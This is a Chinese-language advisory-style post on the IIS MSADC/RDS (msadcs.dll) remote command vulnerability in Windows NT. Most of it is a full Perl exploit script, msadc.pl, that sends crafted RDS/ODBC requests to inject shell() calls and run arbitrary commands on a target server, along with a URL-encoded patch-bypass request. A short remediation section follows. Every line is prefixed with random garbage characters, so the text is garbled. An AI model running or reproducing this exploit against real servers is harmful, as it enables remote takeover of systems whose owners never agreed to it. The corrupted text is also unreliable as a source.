IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
#;~HoOK*# :hs~;vn) 涉及程序：
U]gUGD!5x Microsoft NT server
7M4J{}9 9 PA<g3z 描述：
akNqSZwj 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
r180vbN$ L%(NXSfu7 详细：
Pzq^ x] 如果你没有时间读详细内容的话，就删除:
nIr`T^c9c c:\Program Files\Common Files\System\Msadc\msadcs.dll
j`"!G*V h 有关的安全问题就没有了。
#) :.1Z? %cg| KB"l 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
d{Jk:@.1 i0$*):b 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
q` /J2r+O 关于利用ODBC远程漏洞的描述，请参看:
W>i%sHH6 zG<<MR/< http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm tuIZYp8tIN ,pI9=e@O/z 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
p&x!m}! http://www.microsoft.com/security/bulletins/MS99-025faq.asp /+J nEFf Li} 5aK 这里不再论述。
&.?E[db"h tm5)x^7 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
`*B0n>ol, d1\nMm}v /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
1 s@QsZ3 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
2/r8% Sq ,3 /o7 ' K$Vu[!l` #将下面这段保存为txt文件，然后: "perl -x 文件名"
*|g[Mn ,>rvl P #!perl
{ R-o8N #
X*@ tp,t # MSADC/RDS 'usage' (aka exploit) script
`j@1]%&z #
6
h#U,G # by rain.forest.puppy
{eI '0== #
t4#gW$+^?H # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
5] LWWjT # beta test and find errors!
QK+,63@D\= I/tMFg use Socket; use Getopt::Std;
ap )B%9 getopts("e:vd:h:XR", \%args);
rkR5>S( 2M D 0xQXC3$` print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
qjhV/fsfb Lu.+J]Rz if (!defined $args{h} && !defined $args{R}) {
{CI4AT! ?W print qq~
t!3N|`x Usage: msadc.pl -h <host> { -d <delay> -X -v }
u-,}ug| -h <host> = host you want to scan (ip or domain)
U< G 2tn( -d <seconds> = delay between calls, default 1 second
D)ri_w!Q -X = dump Index Server path table, if available
U< Xdhgo? -v = verbose
@9KW ]7 -e = external dictionary file for step 5
RYEZ ' < [ ,Go*r Or a -R will resume a command session
}' AY #g ; $80}TY ' ~; exit;}
EZ .3Z` )S%t) } $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
wx o if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
2=Naq Ht( if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
)
yMrE T
m if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
: gU5C Um $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
0GrM:Lh y if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Y PI)^ } 2L 1 ,; if (!defined $args{R}){ $ret = &has_msadc;
c #}K,joeU die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Q l)hIf$Oo `e
=IXkt print "Please type the NT commandline you want to run (cmd /c assumed):\n"
B ?? 07j . "cmd /c ";
4)8VmCW $in=<STDIN>; chomp $in;
A )sYde( $command="cmd /c " . $in ;
(^
EuF] I*
C~w if (defined $args{R}) {&load; exit;}
rMx Iujx nPXP9wmh4x print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
A,DBq9Z+4R &try_btcustmr;
1B2#uhT]r v>} +->f print "\nStep 2: Trying to make our own DSN...";
b^d{$eoH?| &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
PmE)FthdP( G$i)ELs print "\nStep 3: Trying known DSNs...";
950N\Y @u &known_dsn;
q%d G>!
< v] print "\nStep 4: Trying known .mdbs...";
;z4F-SY Q &known_mdb;
"g ^i% l fc&#G i3 if (defined $args{e}){
w7?f J")
print "\nStep 5: Trying dictionary of DSN names...";
G m Wr &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
P+hcj
p* ~< bpdI0 print "Sorry Charley...maybe next time?\n";
H\ejW@< ;h exit;
m fQ#n!{ZH Re8x!e'> ##############################################################################
!Rl|o^Vw>{ NAvR^"I~ sub sendraw { # ripped and modded from whisker
!|&|%x 6@ sleep($delay); # it's a DoS on the server! At least on mine...
^)gyKl:E' my ($pstr)=@_;
8 mr eHa socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
|^1U<'oM# die("Socket problems\n");
dyWp'vCQs\ if(connect(S,pack "SnA4x8",2,80,$target)){
(CxA5u1|l select(S); $|=1;
1^WGJ"1 print $pstr; my @in=<S>;
29RP$$gR select(STDOUT); close(S);
BUBx}dbCM return @in;
eTS} - } else { die("Can't connect...\n"); }}
$5&%X'jk ^r\ rpSN ##############################################################################
JkAM: ,^( vAU t~ X" sub make_header { # make the HTTP request
13!@L bC my $msadc=<<EOT
}~I!'J#) POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
lln"c User-Agent: ACTIVEDATA
z5fE<=<X_W Host: $ip
njy2pDC@ Content-Length: $clen
:jl*Y- mM Connection: Keep-Alive
{ ] R'U/
XA2Ld ADCClientVersion:01.06
nTqU~'d' Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
CjQO 5 [b3!H{b# --!ADM!ROX!YOUR!WORLD!
\#9LwC"8; Content-Type: application/x-varg
MuY:(zC % Content-Length: $reqlen
%PYl crM5&L9zF EOT
@N>7+
4 ; $msadc=~s/\n/\r\n/g;
%hnBpz return $msadc;}
r<+C,h;aww k5S;G"i J ##############################################################################
AatSN@,~z [MTd<@ sub make_req { # make the RDS request
} GB~3
J my ($switch, $p1, $p2)=@_;
jfxNV2[ my $req=""; my $t1, $t2, $query, $dsn;
w X "hUu 6ZQ |L=Ytp if ($switch==1){ # this is the btcustmr.mdb query
Q Q3<)i $query="Select * from Customers where City=" . make_shell();
>j5\J_( ;D $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
X1|
+9 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
7=6:ZSI q9/v\~m elsif ($switch==2){ # this is general make table query
)5Khl"6!z $query="create table AZZ (B int, C varchar(10))";
K&L!O3#( $dsn="$p1";}
Uk?G1]$mL uYUFxm elsif ($switch==3){ # this is general exploit table query
XQ]K,# i $query="select * from AZZ where C=" . make_shell();
h:%,>I%{ $dsn="$p1";}
d/7fJ8y8 MgJ6{xzz elsif ($switch==4){ # attempt to hork file info from index server
cfLF@LW!]) $query="select path from scope()";
aDbq h~7 $dsn="Provider=MSIDXS;";}
S> yi D`v 3 B&A)&pEO elsif ($switch==5){ # bad query
Xul`>8y| $query="select";
c?A$Y?|9 $dsn="$p1";}
v"bWVc~H 3Zb%-_%j $t1= make_unicode($query);
a('0l2e<u9 $t2= make_unicode($dsn);
&G P(yj] $req = "\x02\x00\x03\x00";
iE~!?N|a3 $req.= "\x08\x00" . pack ("S1", length($t1));
g&Vhu8kNIA $req.= "\x00\x00" . $t1 ;
}Ce9 R2
$req.= "\x08\x00" . pack ("S1", length($t2));
gmL~n7m:K $req.= "\x00\x00" . $t2 ;
hw
DxGiU $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Vm[R p, " return $req;}
.a*?Pal@@ U: 9&0`k( ##############################################################################
pi"H?EHk ,-pE/3|( sub make_shell { # this makes the shell() statement
sU _K^=6* return "'|shell(\"$command\")|'";}
f@OH~4FG o7) y~ ke ##############################################################################
}% < ?] D p'urf\*$ sub make_unicode { # quick little function to convert to unicode
BPY7O my ($in)=@_; my $out;
;KL7SM%g4 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
D#g -mqar: return $out;}
@Kpm&vd( ; v H2r~ ##############################################################################
c+:Zm rP/ #dauXUKH sub rdo_success { # checks for RDO return success (this is kludge)
Y+?QHtZL my (@in) = @_; my $base=content_start(@in);
Q"QRF5Ue if($in[$base]=~/multipart\/mixed/){
E2e"A
I.h return 1 if( $in[$base+10]=~/^\x09\x00/ );}
F]$ Nu return 0;}
37U 8< ]>n{~4a ##############################################################################
@ st>#]i4 [?]N
GTr# sub make_dsn { # this makes a DSN for us
7H7
Xbi@ my @drives=("c","d","e","f");
O<m46mw M print "\nMaking DSN: ";
@kYY1m v; foreach $drive (@drives) {
_jQ:9,;
A print "$drive: ";
8em'7hR9 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
L AQ@y-K3 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
{?qfH>oFA . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
"- 4|HA $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
C;BO6$*_e return 0 if $2 eq "404"; # not found/doesn't exist
k6tCfq; if($2 eq "200") {
Vk6 c^/v foreach $line (@results) {
Hg#t S E return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
jD
S?p)& } return 0;}
e={O&9Z aHhLz>H' ##############################################################################
f1'ByV'2 uyj!$}4 sub verify_exists {
'@n"'vks(\ my ($page)=@_;
&h5Vhzq(< my @results=sendraw("GET $page HTTP/1.0\n\n");
6{2y$'m8 return $results[0];}
x ytrd . FnGKt\ ##############################################################################
b_x!m{ 1iT_mtXK$ sub try_btcustmr {
j+jC
J< my @drives=("c","d","e","f");
j*%#~UFw my @dirs=("winnt","winnt35","winnt351","win","windows");
R`j"iC2 E>fY,*0 foreach $dir (@dirs) {
nW=6n Cyvo print "$dir -> "; # fun status so you can see progress
x;mw?B[ foreach $drive (@drives) {
xdSMYH{2A print "$drive: "; # ditto
z
g7 Q` $reqlen=length( make_req(1,$drive,$dir) ) - 28;
RoqkT|#$ $reqlenlen=length( "$reqlen" );
a*M|_&MH* $clen= 206 + $reqlenlen + $reqlen;
%['NPs%B (hc!!:N~q my @results=sendraw(make_header() . make_req(1,$drive,$dir));
N_%@_$3G] if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
}e 7Rpgu else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Wv4$Lgr (:iMs)
iO{ ##############################################################################
Qf:e;1F! c &c sub odbc_error {
8lk/*/} =< my (@in)=@_; my $base;
re/-Yu$' my $base = content_start(@in);
P]+B} )) if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
X@~/.H5 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
pSx5ume95" $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
6#=Iv X4 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"im5Fnu return $in[$base+4].$in[$base+5].$in[$base+6];}
exWQ ~& print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
eaRa+ <#u print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
HNZ$CaJh $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
iM .yen_vp VwR\"8r3 ##############################################################################
$WYt`U;*lj ekx(i
QA sub verbose {
MW wqon| my ($in)=@_;
X}#vt?mu return if !$verbose;
G4
7^xR print STDOUT "\n$in\n";}
U]Q 5};FK tB;PGk_6 ##############################################################################
;MfqI/B{ |$
PA sub save {
uQdeKp4( my ($p1, $p2, $p3, $p4)=@_;
f1NHW|_j open(OUT, ">rds.save") || print "Problem saving parameters...\n";
e1[ReZW print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
-Mo4`bN close OUT;}
|q4=*X q dv.
77q ##############################################################################
TOiLv.Dor qO@vXuul, sub load {
u6C_*i{2 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
fw %p_Cm open(IN,"<rds.save") || die("Couldn't open rds.save\n");
fRNj *bIV @p=<IN>; close(IN);
BB}WfA $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
@3n!5XM{EE $target= inet_aton($ip) || die("inet_aton problems");
ivo3 pibk% print "Resuming to $ip ...";
2 I:P}! $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
LJrH_h8C if($p[1]==1) {
0+mR
y57 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
9fp"r,aHN& $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
m{>1# 1;$t my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Z|K HF" if (rdo_success(@results)){print "Success!\n";}
|QS|\8g{0V else { print "failed\n"; verbose(odbc_error(@results));}}
Rk9n,"xpv elsif ($p[1]==3){
tGOJ4 = if(run_query("$p[3]")){
b WL!= print "Success!\n";} else { print "failed\n"; }}
q}i#XQ U elsif ($p[1]==4){
V@0T&# if(run_query($drvst . "$p[3]")){
.XgY &5Qk print "Success!\n"; } else { print "failed\n"; }}
^ E%R5JN
exit;}
-#% M,Qb $mxG-'x %K ##############################################################################
:{<|,3oNdR 9@1n :X sub create_table {
zd$'8/Cq my ($in)=@_;
{GtX:v# $reqlen=length( make_req(2,$in,"") ) - 28;
j*>]HNo& $reqlenlen=length( "$reqlen" );
"OwM'
n8 $clen= 206 + $reqlenlen + $reqlen;
J5 a8U&A my @results=sendraw(make_header() . make_req(2,$in,""));
< xBL/e
% return 1 if rdo_success(@results);
+;+G+Tn my $temp= odbc_error(@results); verbose($temp);
P)VQA M return 1 if $temp=~/Table 'AZZ' already exists/;
2Ys=/mh return 0;}
D <~UaHfk 9#[,{2pJr ##############################################################################
2-m@- f['I4 /o sub known_dsn {
!@!603Gy # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
h]@'M1D% my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
q?frt3o "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
6O?zi|J[: "banner", "banners", "ads", "ADCDemo", "ADCTest");
*L ?~ c vw17j foreach $dSn (@dsns) {
&NF$_* \E print ".";
aVr(*s;/ next if (!is_access("DSN=$dSn"));
'(iPI if(create_table("DSN=$dSn")){
>~d'i print "$dSn successful\n";
5[2kk5, if(run_query("DSN=$dSn")){
# 2|biTJ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
P}'B~ ~9W print "Something's borked. Use verbose next time\n";}}} print "\n";}
u znqq } )h ,v(Rxa ##############################################################################
OGEe8Z9Jt <uU<qO;6 sub is_access {
)E9c 6'd my ($in)=@_;
O<fy^[r:` $reqlen=length( make_req(5,$in,"") ) - 28;
]9_tto!/ $reqlenlen=length( "$reqlen" );
bD )"Jy $clen= 206 + $reqlenlen + $reqlen;
0x*1I1(c my @results=sendraw(make_header() . make_req(5,$in,""));
HH6n3c!:mm my $temp= odbc_error(@results);
E$_zBD% verbose($temp); return 1 if ($temp=~/Microsoft Access/);
'Rnzu0<lF return 0;}
i dHI)6! o5/BE`VD5c ##############################################################################
I_#5gq xd `MEOY sub run_query {
0f j C>AS my ($in)=@_;
o w(9dB&E $reqlen=length( make_req(3,$in,"") ) - 28;
@| h9jx| $reqlenlen=length( "$reqlen" );
RKrNmD*rk* $clen= 206 + $reqlenlen + $reqlen;
zWPX my @results=sendraw(make_header() . make_req(3,$in,""));
~%lUzabMa return 1 if rdo_success(@results);
fAk fN H6 my $temp= odbc_error(@results); verbose($temp);
U=%(kOx return 0;}
[PXq<ST #P!<u Lc% ##############################################################################
Sg%s\p]N_# h [Sd3 Z* sub known_mdb {
iWWtL my @drives=("c","d","e","f","g");
^EN
)}:%Z my @dirs=("winnt","winnt35","winnt351","win","windows");
L~/L<M s my $dir, $drive, $mdb;
`]]5!U2 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
=84EX <B 7Wv.-LD6 # this is sparse, because I don't know of many
0 NSw^dO\ my @sysmdbs=( "\\catroot\\icatalog.mdb",
*Mg@j;+ 5s "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
).HA #!SE "\\system32\\certmdb.mdb",
He8]E b "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
m*1 {a \! 1~ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
,ye[TQ\,M "\\cfusion\\cfapps\\forums\\forums_.mdb",
W3ms8=z "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
s;Bh 69 "\\cfusion\\cfapps\\security\\realm_.mdb",
]' n4 e* "\\cfusion\\cfapps\\security\\data\\realm.mdb",
-vm1xp$ "\\cfusion\\database\\cfexamples.mdb",
E"[p_ALdC "\\cfusion\\database\\cfsnippets.mdb",
4cy,'B "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
!m))Yp-"H "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
N,B!D~@ "\\cfusion\\brighttiger\\database\\cleam.mdb",
b
IxH0=f "\\cfusion\\database\\smpolicy.mdb",
W'Ew!]Q3 "\\cfusion\\database\cypress.mdb",
bD/ ZKvg "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
# B <% "\\website\\cgi-win\\dbsample.mdb",
& tbAXU5$ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
6n]jx:CZ, "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
3O 4,LXdA ); #these are just
:G98u X t foreach $drive (@drives) {
Fnk@)1 foreach $dir (@dirs){
3 ;" [WOv foreach $mdb (@sysmdbs) {
/
j "}e_Q print ".";
A *:| d~ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
feS$)H9- print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
% u VTf if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
e[Vk+Te7 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
y5c\ \ e } else { print "Something's borked. Use verbose next time\n"; }}}}}
7MZH'nO ,j{tGj_ foreach $drive (@drives) {
EF$ASNh" foreach $mdb (@mdbs) {
Q3hSWX q' print ".";
E ,ilJl\ if(create_table($drv . $drive . $dir . $mdb)){
5| jY print "\n" . $drive . $dir . $mdb . " successful\n";
a0k;way if(run_query($drv . $drive . $dir . $mdb)){
]iW:YNvXA print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
:B=Gb8? } else { print "Something's borked. Use verbose next time\n"; }}}}
^B%ki }
'y>Y */ y:Gn58\o ##############################################################################
? Hdu=+ZV bxwwYSS sub hork_idx {
z}==6| { print "\nAttempting to dump Index Server tables...\n";
aso8,mpZuA print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
nVoW ER: $reqlen=length( make_req(4,"","") ) - 28;
%=*|: v $reqlenlen=length( "$reqlen" );
?vbAaRg50s $clen= 206 + $reqlenlen + $reqlen;
)w<Z4_!N4s my @results=sendraw2(make_header() . make_req(4,"",""));
9 iJ$M! if (rdo_success(@results)){
Nw9:Gi my $max=@results; my $c; my %d;
UpD4'!<buV for($c=19; $c<$max; $c++){
%t6-w WM97 $results[$c]=~s/\x00//g;
"doiD=b $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
:81d~f7 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
{A< 9 61 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
h|P C?@jp $d{"$1$2"}="";}
c R!M {U.q foreach $c (keys %d){ print "$c\n"; }
Hn(Eut7% } else {print "Index server doesn't seem to be installed.\n"; }}
G 0Z5 h Vg,nNa3 ##############################################################################
\K" 7U ZDL1H3;R sub dsn_dict {
QL7.Q G
open(IN, "<$args{e}") || die("Can't open external dictionary\n");
qs\Cwn! while(<IN>){
y]P uY \+ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
| @ ut/ next if (!is_access("DSN=$dSn"));
"l-#v|
54 if(create_table("DSN=$dSn")){
8oI|Z= print "$dSn successful\n";
/;}% E if(run_query("DSN=$dSn")){
J2
)h":2 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
?%~^PHgZ| print "Something's borked. Use verbose next time\n";}}}
L#'XN H" print "\n"; close(IN);}
Gt?l 2s 32H F&P+0% ##############################################################################
.`_iWfK i5Sya] FN sub sendraw2 { # ripped and modded from whisker
8!.V`|@lt sleep($delay); # it's a DoS on the server! At least on mine...
|By[ev"Kh% my ($pstr)=@_;
%,~\,+NP socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
$mAC8a_Zu die("Socket problems\n");
5oCg&aT if(connect(S,pack "SnA4x8",2,80,$target)){
~4=*kJ #7 print "Connected. Getting data";
RR:%"4 M open(OUT,">raw.out"); my @in;
mj9sX^$ dE select(S); $|=1; print $pstr;
W 2[]m>; while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
k{vbi-^6rf close(OUT); select(STDOUT); close(S); return @in;
>`WfY(Lq } else { die("Can't connect...\n"); }}
R@pY+d9qp <'UGYY\wg0 ##############################################################################
{PxF G<^U J;^ PM:6 sub content_start { # this will take in the server headers
%GY'pQz my (@in)=@_; my $c;
})70S8k for ($c=1;$c<500;$c++) {
[[^95: if($in[$c] =~/^\x0d\x0a/){
:] U\{;q2 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
,YvOk|@R else { return $c+1; }}}
+a N8l1 return -1;} # it should never get here actually
q1eMK'1 J ]Z~.f=" ##############################################################################
&)+H''JY JN9>nC!Zy_ sub funky {
^vT!24sK my (@in)=@_; my $error=odbc_error(@in);
V Zr:yE if($error=~/ADO could not find the specified provider/){
>w7KOVbN3
print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Ng !d 6] exit;}
!Tv3WQ@ if($error=~/A Handler is required/){
V7nOT*N:Q print "\nServer has custom handler filters (they most likely are patched)\n";
l "}_+5 exit;}
B K=w' 1U if($error=~/specified Handler has denied Access/){
ToPjB vD print "\nServer has custom handler filters (they most likely are patched)\n";
"OwVCym? exit;}}
#z%D d{E :8oJG8WH ##############################################################################
NNbdP;=:u ihwJBN>( sub has_msadc {
7M7Ir\d0lp my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
{]}94T~/k my $base=content_start(@results);
mgVYKZWL-i return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
$57b.+2n return 0;}
p$|7T31 * eZU9 L/w: ########################
-j ]k^ jMTM:~0N /N_:npbJF 解决方案：
LOi}\ O8 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
wxc#)W 2、移除web 目录: /msadc
